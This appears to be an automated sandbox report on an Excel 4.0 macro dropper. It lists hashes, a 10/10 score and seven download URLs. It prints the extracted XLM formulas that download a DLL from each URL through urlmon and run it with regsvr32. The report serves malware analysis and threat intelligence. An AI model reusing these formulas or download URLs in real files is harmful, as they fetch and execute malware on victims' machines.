General

  • Target

    94148e907e3fd9e9338334f014b6b60d628884e6010d9dbb886a03805ff1bc41

  • Size

    20KB

  • Sample

    241120-yh35bs1gma

  • MD5

    4bb2557bc04feef62584033b93586a44

  • SHA1

    399d81bc88efcc11fb188484c2c7182effb38606

  • SHA256

    94148e907e3fd9e9338334f014b6b60d628884e6010d9dbb886a03805ff1bc41

  • SHA512

    1fdd3ba7e9c3b0acdc4b90b77f037c37e21be9ee2e9ef0123b46c35ae3ad67b4ea6cb97ef5f61baf24650b690f7fb0cb1730989ad00dddc155747fc59bfd6cbd

  • SSDEEP

    384:yQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:yTINqTo4FL3CBn9kC+xbLHjj

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://autoat.mx/assets/VljikBuT029PkSBfrc/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

xlm40.dropper

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

xlm40.dropper

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

xlm40.dropper

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

xlm40.dropper

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

xlm40.dropper

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

xlm40.dropper

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Targets

    • Target

      94148e907e3fd9e9338334f014b6b60d628884e6010d9dbb886a03805ff1bc41

    • Size

      20KB

    • MD5

      4bb2557bc04feef62584033b93586a44

    • SHA1

      399d81bc88efcc11fb188484c2c7182effb38606

    • SHA256

      94148e907e3fd9e9338334f014b6b60d628884e6010d9dbb886a03805ff1bc41

    • SHA512

      1fdd3ba7e9c3b0acdc4b90b77f037c37e21be9ee2e9ef0123b46c35ae3ad67b4ea6cb97ef5f61baf24650b690f7fb0cb1730989ad00dddc155747fc59bfd6cbd

    • SSDEEP

      384:yQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:yTINqTo4FL3CBn9kC+xbLHjj

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks